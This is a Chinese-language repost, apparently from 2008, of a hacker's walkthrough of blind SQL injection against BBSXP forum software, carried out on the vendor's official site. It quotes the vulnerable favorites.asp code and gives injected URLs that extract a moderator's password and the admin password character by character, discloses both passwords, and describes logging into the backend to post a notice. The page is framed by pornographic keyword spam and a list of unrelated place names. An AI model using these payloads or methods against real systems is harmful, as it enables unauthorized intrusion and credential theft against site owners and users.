最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

利用最基本的SQL注入滲透BBSXP官方網站的臺后管理

互聯(lián)網   發(fā)布時間:2008-10-08 19:37:57   作者:佚名   我要評論
漏洞分析 序: 有一部電影的名字叫著《全職殺手》,劇中的男主角托爾,我非常喜歡他的個性! 他非常的cool,i like!呵呵,不知道你看過這部電影沒有? 不過,我今天要為大家講解的故事發(fā)現(xiàn)在網絡當中.這次是一次非常,常見的sql滲透攻擊.也是最基礎的.
漏洞分析
序:
有一部電影的名字叫著《全職殺手》,劇中的男主角托爾,我非常喜歡他的個性!
他非常的cool,i like!呵呵,不知道你看過這部電影沒有?
不過,我今天要為大家講解的故事發(fā)現(xiàn)在網絡當中.這次是一次非常,常見的sql滲透攻擊.也是最基礎的.
過程如下:
1.找出漏洞并分析漏洞.
2.利用漏洞,得到前臺區(qū)長密碼.
3.利用漏洞,得到后臺密碼.
4.添加公告,閃人! 開始工作: 到bbsxp官方網站下載最新的bbsxp。 第一步:找出漏洞,并分析漏洞.這個漏洞存在于用戶添加收藏功能中 相應的asp文件:favorites.asp
//*************************源代碼***************************************************//
<% if request.cookies("username")="" then
error("
您還還未登陸社區(qū)")
end if select case request("menu")
case "add"
if request.servervariables("request_method")="post" then
url=request("url")
else
url=request.servervariables("http_referer")
end if
conn.execute("insert into favorites(username,name,url)values("&request.cookies("username")&","&request("name")&","&url&")")
error2("已經添加到網絡收藏夾!") case "del"
conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id="&request("id")&"")
end select
//***************************后面的無用代碼略掉********************************// 看到代碼了,首先要注冊使用本功能.
然后在這個asp文件中提交的參數有:menu,id就這兩個值.
大家看看,當提交的menu=del的時候。哈哈!調用的是什么?就是它,它就有漏洞。漏洞在哪里?
conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id="&request("id")&"")
提交的id值沒有過濾直接加入到sql語句中了。 攻擊演示 第二步,利用漏洞,得到前臺管理員密碼. 接到上面的來。我們測試一下這個漏洞是不是存在.
自己先添加一個收藏地址進去.得到收藏的id號(我們得到的是576)。
在ie中提交.
http://bbs.yuzi.net/favori... and 1=1
提交到sql中,實際上就是:
conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id=576 and 1=1")
不用管那個request.cookies("username").他直接就等于你進來的用戶名.
提交后,發(fā)現(xiàn)我們收藏的文件被del了。證明有這個漏洞,沒有打上補丁。 現(xiàn)在我找到漏洞了,呵呵~!點支煙吧?。〈蜷_數據庫查看數據庫結構。
保存數據庫的用戶名字段為:username 密碼字段為:userpass(注:密碼是明碼,沒有經過任何加密)
我們現(xiàn)在就來得到一個區(qū)長的密碼吧。在首頁看到區(qū)長的名字有一個叫:kongweb的. 提交http://bbs.yuzi.net/favori... and 1=(select count(*) from [user] where username=kongweb and len(userpass)=5) 呵呵,提交到sql中,又是什么呢?
conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id=576 and 1=(select count(*) from [user] where username=kongweb and len(userpass)=5)") 對sql語句了解的戰(zhàn)友們都知道,當where條件后面為真的情況下,才會執(zhí)行這條語句!
執(zhí)行這條語句的結果就是del一條自己的收藏地址,那么我們的
1=(select count(*) from [user] where username=kongweb and len(userpass)=5)")
如果為真的話就del了id為576的收藏地址.
看一下。這條語句,當用戶名是kongweb,當密碼長度為5的時候,就有一條記錄返回。
count(*)的意思就是返回滿足條件的記錄總數,剛好為1條。也就是說等式正立。
當然不成功,是不會del了收藏地址的。 最后我們改變長度值. 結果出來了當長度等于9的時候。del了收藏地址。
證明kongweb這個區(qū)長的密碼為:9位.
好了,我們開工吧, 我們來破他的第一位密碼。不過我們在先破密碼的時候,要多加點收藏地址。
因為正確一個就會del一個收藏地址。 采用提交http://..../favorites.asp?... and 1=(select count(*) from [user] where username=kongweb and mid(userpass,1,1)=a)
這里說一個mid函數的用法:
mid(字符串,起始位置,長度) 這是一個取字符串中特定位置,特定長度的一個函數.
我們mid(userpass,1,1)=a表示取出密碼的第一位看是不是a 注:一定要加上單引號不錯會出錯. 本來我打算用我寫的破解程序的來直接破解的,不過我們連到他的bbs網站上特別的慢。也不知道為什么。
所以,程序半天都跑不出來。也就只有手工猜了.
第一位密碼幾分種后才猜出來。 當我們提交http://..../favorites.asp?... and 1=(select count(*) from [user] where username=kongweb and mid(userpass,1,1)=k) 的時候,我們del了,收藏地址id為588的記錄.
在ie中沒有看到那條記錄了。證明成功了。好,現(xiàn)在換id值,取第二位.
http://..../favorites.asp?... and 1=(select count(*) from [user] where username=kongweb and mid(userpass,2,1)=d)
就這樣重復的提交和修改,最后得出密碼是:kdjkdjkdj 這里來介紹一下簡單的方法,可以用取字符asc碼的辦法縮小范圍的。
http://..... and 1=(select count(*) from [user] where username=kongweb and asc(mid(userpass,1,1))>100)
如果成立就del收藏.證明第一個字符的asc碼大于100。
相反,你也可以這樣測試:..asc(mid(userpass,1,1))<105
如果正確,那么這個字符的asc碼就是:100-105之間了。最后確定,比如:當asc(mid(userpass,1,1))=103
如果del了收藏,就得到這個字符的asc碼了。再用相應的工具轉成e文母就ok了。[我寫了有這樣的程序,要的朋友請與我聯(lián)系]
這里沒有用這種方法,是因為這里要添加太多的收藏地址才行。因為用范圍去比較的話,正立的機會很大,當成立就會del收藏的。所以我們還是一位一位的取吧。
添加收藏也慢得要死。
好了,看來第二步的任務已經完成了。我們得到了區(qū)長:kongweb 密碼:kdjkdjkdj 第三步:得到后臺管理密碼; 看一下他的庫結構,發(fā)現(xiàn)了clubconfig這個表中有一個字段叫:adminpassword是用來保存密碼字段的.并且也是明密保存的.
我們要的就是他。我們就要取到這個字段的值.
這個庫中一般都就只有一條記錄。所以他的count(*) 也就只有一條. 再次利用我們第二步的漏洞.進行猜解.
一樣的辦法。得到后臺密碼長度為:9位.
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where len(adminpassword)=9)
剛好正確。
想到了,剛才前臺的密碼也是9位。不會前臺和后臺的密碼相同吧,測試一下。結果不正確。和前臺的密碼不一樣。也只有慢慢的猜了。 猜第一位:
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where mid(adminpassword,1,1)=b)
ok。第一位出來了。
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where mid(adminpassword,2,1)=b)
ok.第二位也出來了。前兩位是bb. 呵呵,你的社會工程學,學得怎么樣?。??聯(lián)想一下。我們想到了bbs呵呵,我們想到前三位可能是bbs試試吧!
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where mid(adminpassword,3,1)=s)
太對了。再發(fā)揮你的社會工程學方面的功能。又想到了bbsxp因為他是的網站開發(fā)的產品嘛。一般人都是這樣的。試試。 現(xiàn)在我們用left函數取前5位
說明一個函數:left(字符串,長度)就是從字符串第一位開始,取長度個值
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where left(adminpassword,5)=bbsxp)
又對了。呵呵,還有四位,想不出來了。我們又破到了兩位.
前七位就是:bbsxpco還有兩位了。想一下。co加兩位什么好呢?呵呵,社會工程學,學得沒有別人好啊。
兄弟們都想了好久,最后想到了cool試試吧!??!
最了,最后居然對了。就是cool密碼就是:bbsxpcool
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where adminpassword=bbsxpcool) 現(xiàn)在有前臺的賬號,和后臺的密碼。進去發(fā)布公告吧! 第四步:發(fā)布公告.
進入后臺我們發(fā)布了記他注意腳本安全的公告,然后閃人! 結束句:
前段時間測試動網官方論壇,也一樣的有漏洞,今天測試bbsxp還有這么低級的錯誤,我們在這里先向我們入侵過的動網,以及bbsxp道歉!
我們并不是惡意的攻擊,我們只是為了網絡更加安全,測試了一下你們的論壇!希望你們以后會寫得更好!
我們也一樣會努力認真的再次對你們的論壇進行測試的。

相關文章

最新評論

雅安市| 丹凤县| 绥德县| 广安市| 西峡县| 德庆县| 湘西| 潢川县| 哈巴河县| 永康市| 河东区| 富裕县| 宣恩县| 德江县| 阳江市| 昭通市| 孟连| 铁岭县| 体育| 吉林省| 廊坊市| 买车| 梅河口市| 安顺市| 炎陵县| 五寨县| 礼泉县| 思南县| 石家庄市| 塘沽区| 丰顺县| 乳山市| 兴国县| 翁牛特旗| 高陵县| 安徽省| 达拉特旗| 全州县| 镶黄旗| 高唐县| 安化县|